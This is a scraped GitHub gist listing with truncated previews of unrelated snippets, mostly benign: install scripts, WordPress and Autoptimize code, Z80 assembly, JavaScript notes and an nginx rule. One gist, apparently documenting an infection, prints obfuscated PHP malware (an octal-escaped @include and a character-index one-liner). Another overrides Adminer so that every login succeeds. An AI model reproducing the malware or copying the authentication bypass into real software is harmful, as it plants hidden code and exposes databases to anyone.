This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#/bin/bash | |
REPORTF="install-report.txt" | |
git clone https://github.com/FPGAwars/icestudio.git | |
cd icestudio | |
npm install extract-zip --save | |
echo > $REPORTF |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1) Create your directory structure for your code (case sensitive) | |
2) Add autoload object to composer.json: | |
"autoload": { | |
"psr-4": { | |
"Your-Namespace\\" : "your-dir/" | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function adminer_object() { | |
class AdminerSoftware extends Adminer { | |
function login($login, $password) { | |
return true; | |
} | |
} | |
return new AdminerSoftware; | |
} | |
include "./adminer-4.2.5.php"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('plugins_loaded','ao_defer_inline_init'); | |
function ao_defer_inline_init() { | |
if ( get_option('autoptimize_js_include_inline') != 'on' ) { | |
add_filter('autoptimize_html_after_minify','ao_defer_inline_jquery',10,1); | |
} | |
} | |
function ao_defer_inline_jquery( $in ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Plugin Name: Installed Plugin Details | |
* Description: Show a "Details" link for installed plugins to view information from the WordPress.org plugin directory. | |
* Version: 1.0.0 | |
* Author: Blazer Six | |
* Author URI: http://www.blazersix.com/ | |
* License: GPL-2.0+ | |
* License URI: http://www.gnu.org/licenses/gpl-2.0.html | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;-- RETO @Obijuan_cube | |
;-- | |
;-- Led parpadeante Z80 #FPGAWars | |
;-- | |
;-- https://groups.google.com/forum/?utm_medium=email&utm_source=footer#!msg/fpga-wars-explorando-el-lado-libre/U5c7-6gQAqQ/MoaPrAwcAgAJ | |
;-- | |
; El programa arranca en la dirección 0 de la ROM | |
org 0x0000 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
php files: | |
@include "\057hom\145 | |
En una línea: | |
$wfvxps = 'akyipHbgc2x3m0lf1-9t*\'r_es7#d4n5o8uv';$dzijbx = Array();$dzijbx[] = $wfvxps[5].$wfvxps[20];$dzijbx[] = $wfvxps[8].$wfvxps[22].$wfvxps[24].$wfvxps[0].$wfvxps[19].$wfvxps[24].$wfvxps[23].$wfvxps[15].$wfvxps[34].$wfvxps[30].$wfvxps[8].$wfvxps[19].$wfvxps[3].$wfvxps[32].$wfvxps[30];$dzijbx[] = $wfvxps[31].$wfvxps[6].$wfvxps[26].$wfvxps[18].$wfvxps[11].$wfvxps[15].$wfvxps[33].$wfvxps[13].$wfvxps[17].$wfvxps[31].$wfvxps[8].$wfvxps[0].$wfvxps[16].$wfvxps[17].$wfvxps[29].$wfvxps[24].$wfvxps[11].$wfvxps[15].$wfvxps[17].$wfvxps[6].$wfvxps[11].$wfvxps[18].$wfvxps[9].$wfvxps[17].$wfvxps[15].$wfvxps[11].$wfvxps[8].$wfvxps[28].$wfvxps[18].$wfvxps[11].$wfvxps[16].$wfvxps[29].$wfvxps[18].$wfvxps[8].$wfvxps[18].$wfvxps[9];$dzijbx[] = $wfvxps[27];$dzijbx[] = $wfvxps[8].$wfvxps[32].$wfvxps[34].$wfvxps[30].$wfvxps[19];$dzijbx[] = $wfvxps[25].$wfvxps[19].$wfvxps[22].$wfvxps[23].$wfvxps[22].$wfvxps[24].$wfvxps[4].$wfvxps[24].$wfvxps[0].$wfvxps[19];$dzijbx[] = $wfvxps[24] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//-- Creamos un wrapper para soportar requestAnimationFrame en los distintos navegadores y si | |
//-- fuera un navegador antiguo, sin soporte de éste, utilizaremos setTimeout | |
//-- | |
//-- Las ventajas más importantes de utilizar requestAnimationFrame frente a setTimeout son: | |
//-- | |
//-- - El navegador está optimizado para ello y utilzará recursos hardware gráficos, por lo | |
//-- que las animaciones serán más suaves | |
//-- - Si cambiamos de pestaña o el navegador pas a segundo plano, la animación se para por lo | |
//-- que la CPU quedará libre | |
//-- - Por lo anterior en dispositivos móviles, gastará menos batería |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//-- A día de hoy, los motores javascript de los navegadores, sólo tienen un thread, lo que significa que no pueden | |
//-- ejecutar funciones en paralelo. | |
//-- Cuando utilizamos setTimeout, conceptualmente pensamos que habrá algún tipo de interrupción que temporizará | |
//-- el ciclo del programa para ejecutar esa taréa cuando toque. | |
//-- Pero esto no es así, el "main loop" de javascript, encolará las funciones y las ejecutará una detrás de otra, | |
//-- priorizando el "orden de las temporizaciones" pero sin respetarlas. | |
//-- | |
//-- Como ejemplo mostramos el siguiente caso, se lanza una función temporizada para ejecutarse a los 100ms, pero como | |
//-- la siguiente función a ejecutarse , le toma 400ms, la primera no se ejecutará hasta que termine esta última. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Cachebust static JS and CSS assets that contain a version segment, e.g. | |
# /css/app.purged.min.v0.1.45.css ==> /css/app.purged.min.css | |
location ~* (.+)\.v(?:[\d\.]+)\.(js|css)$ { | |
try_files $uri $1.$2; | |
} |
OlderNewer